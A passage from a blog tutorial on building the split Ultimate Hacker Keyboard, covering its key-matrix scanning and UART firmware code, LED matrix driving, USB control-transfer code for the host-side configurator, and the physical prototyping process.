    for (uint8_t Col=0; Col<KeyMatrix->Info->ColNum; Col++) {
        const Pin_t *ColPort = KeyMatrix->Info->ColPorts + Col;
        for (uint8_t Row=0; Row<KeyMatrix->Info->RowNum; Row++) {
            const Pin_t *RowPin = KeyMatrix->Info->RowPins + Row;
            uint8_t IsKeyPressed = *RowPin->Name & 1<<RowPin->Number;
            KeyMatrix_SetElement(KeyMatrix, Row, Col, IsKeyPressed);
        }
    }
}
The code scans one column at a time and within that column it reads the states of the individual key switches. The state of the key switches then gets saved into an array. Within our previous CALLBACK_HID_Device_CreateHIDReport() function the relevant scan codes will then be sent out based on the state of that array.

Step Three: A Keyboard with Two Halves


So far, we’ve created the beginnings of a normal keyboard. But in this keyboard tutorial we’re aiming for advanced ergonomics, and given that people have two hands we better add another keyboard half to the mix.

The other half will feature another keyboard matrix, working the same way as the previous one. The exciting new thing is the communication between the keyboard halves. The three most popular protocols to interconnect electronics devices are SPI, I2C and UART. For practical purposes we will use UART in this case.




To be a good programming keyboard, there has to be stellar communication between both halves.

Bidirectional communication flows through RX rightwards and through TX leftwards according to the above diagram. VCC and GND is necessary to transfer power. UART needs the peers to use the same baud rate, number of data bits and number of stop bits. Once the UART transceiver of both peers gets set up, communication can start to flow.

For now, the left keyboard half sends one-byte messages to the right keyboard half through UART, representing key press or key release events. The right keyboard half processes these messages and manipulates the state of the full keyboard matrix array in memory accordingly. This is how left keyboard half send messages:

USART_SendByte(IsKeyPressed<<7 | Row*COLS_NUM + Col);

The code for the right keyboard half to receive the message looks like this:

void KeyboardRxCallback(void)
{
    uint8_t Event = USART_ReceiveByte();
    if (!MessageBuffer_IsFull(&KeyStateBuffer)) {
        MessageBuffer_Insert(&KeyStateBuffer, Event);
    }
}
The KeyboardRxCallback() interrupt handler gets triggered whenever a byte is received through UART. Given that interrupt handlers should execute as quickly as possible, the received message is put into a ring buffer for later processing. The ring buffer eventually gets processed from within the main loop and the keyboard matrix will be updated based on the message.

The above is the simplest way to make this happen, but the final protocol will be somewhat more complex. Multi-byte messages will have to be handled, and the individual messages will have to be checked for integrity by using CRC-CCITT checksums.

At this point, our breadboard prototype is looking pretty impressive:



The breadboard prototype is beginning to take the shape of a customized keyboard for developers.

Step Four: Meet the LED Display


One of our goals with the UHK was to enable the user to define multiple application-specific keyboard maps to further boost productivity. The user needs some way to be aware of the actual keymap being used, so an integrated LED display is built into the keyboard. Here is a prototype display with all LEDs lit:



The LED display is central to building the best keyboard for developers in this tutorial.

The LED display is implemented by a 8x6 LED matrix:

Hacker keyboards wouldn’t be complete without a 8x6 LED matrix.

Every two rows of red-colored LED symbols represents the segments of one of the 14-segment LED displays. The white LED symbols represent the additional three status indicators.

To drive current through an LED and light it up, the corresponding column is set to high voltage, and the corresponding row to low voltage. An interesting consequence of this system is that, at any given moment, only one column can be enabled (all of the LEDs on that column that should be lit have their corresponding rows set to low voltage), while the rest of the columns are disabled. One might think that this system cannot work to use the full set of LEDs, but in reality the columns and rows are updated so quickly that no flickering can be seen by the human eye.

The LED matrix is driven by two integrated circuits (ICs), one driving its rows and the other driving its columns. The source IC that drives the columns is the PCA9634 I2C LED driver:

Two integrated circuits drive the LED matrix on the Ultimate Hacker Keyboard.

The LED matrix sink IC that drives the rows is the TPIC6C595 power shift register:

The IC that drives the rows of LEDs looks like this.

Let’s see the relevant code:

uint8_t LedStates[LED_MATRIX_ROWS_NUM];

void LedMatrix_UpdateNextRow(bool IsKeyboardColEnabled)
{
    TPIC6C595_Transmit(LedStates[ActiveLedMatrixRow]);
    PCA9634_Transmit(1 << ActiveLedMatrixRow);

    if (++ActiveLedMatrixRow == LED_MATRIX_ROWS_NUM) {
          ActiveLedMatrixRow = 0;
    }
}
LedMatrix_UpdateNextRow() gets called about every millisecond, updating a row of the LED matrix. The LedStates array stores the state of the individual LEDs, is updated via UART based on messages originated from the right keyboard half, pretty much the same way as in the case of the key press/key release event.
The Big Picture

By now we have gradually built up all the necessary components for our custom hacker keyboard, and it’s time to see the big picture. The inside of the keyboard is like a mini computer network: lots of nodes interconnected. The difference is that the distance between the nodes is measured not in metres or kilometres, but in centimetres, and the nodes are not fully-fledged computers, but tiny integrated circuits.

The inside of our tutorial keyboard is made up of interconnected nodes.

A lot has been said so far about the device-side details of the developer’s keyboard, but not so much about UHK Agent, the host-side software. The reason is that, unlike the hardware and the firmware, Agent is very rudimentary at this point. However, the high-level architecture of Agent is decided upon, which I’d like to share.

UHK Agent is the configurator application via which the keyboard can be customized to fit the needs of the user. Despite being a rich client, Agent uses web technologies and runs on top of the node-webkit platform.

Agent communicates with the keyboard using the node-usb library by sending special, device-specific USB control requests and processing their results. It uses Express.js to expose a REST API for consumption by third-party applications. It also uses Angular.js to provide a neat user interface.

var enumerationModes = {
    'keyboard'         : 0,
    'bootloader-right' : 1,
    'bootloader-left'  : 2
};

function sendReenumerateCommand(enumerationMode, callback)
{
    var AGENT_COMMAND_REENUMERATE = 0;
    sendAgentCommand(AGENT_COMMAND_REENUMERATE, enumerationMode, callback);
}

function sendAgentCommand(command, arg, callback)
{
    setReport(new Buffer([command, arg]), callback);
}

function setReport(message, callback)
{
    device.controlTransfer(
        0x21,             // bmRequestType (constant for this control request)
        0x09,             // bmRequest (constant for this control request)
        0,                // wValue (MSB is report type, LSB is report number)
        interfaceNumber,  // wIndex (interface number)
        message,          // message to be sent
        callback
    );
}
Every command has an 8-bit identifier and a set of command-specific arguments. Currently, only the re-enumerate command is implemented. The sendReenumerateCommand() makes the device re-enumerate as the left bootloader or the right bootloader, for upgrading the firmware, or as a keyboard device.

One might have no idea about the advanced features that can be achieved by this software, so I’ll name a few: Agent will be able to visualize the wear of the individual keys and notify the user about their life expectancy, so the user could purchase a couple of new key switches for the impending repair. Agent will also provide a user interface for configuring the various keymaps and layers of the hacker keyboard. The speed and acceleration of the mouse pointer could also be set, along with loads of other uber features. Sky’s the limit.

Final: Creating the Prototype


A lot of work goes into creating customized keyboard prototypes. First of all, the mechanical design has to be finalized which, is pretty complex in itself and involves custom-designed plastic parts, laser-cut stainless steel plates, precision-milled steel guides and neodymium magnets that hold together the two keyboard halves. Everything is designed in CAD before fabrication begins.

The CAD drawing assists in building a keyboard that functions well for developers.




This is how the 3D printed keyboard case looks:



We began by 3D printing the programming keyboard case.

Based on the mechanical design and the schematic, the printed circuit board has to be designed. The right-hand PCB looks like this in KiCad:

Programming a keyboard starts with designing a printed circuit board.

Then the PCB gets fabricated and the surface-mounted components must be soldered by hand:

Soldering the custom keyboard components ensures it works properly once it’s in the case.

Finally, after fabricating all the parts, including 3D printing, polishing and painting the plastic parts and assembling everything, we end up with a working hacker keyboard prototype like this one:


Toptal collaboration

This post originally apperared in Toptal
(https://www.toptal.com/embedded/from-the-ground-up-how-i-built-the-developers-dream-keybooard)
Share: | Coffee Me: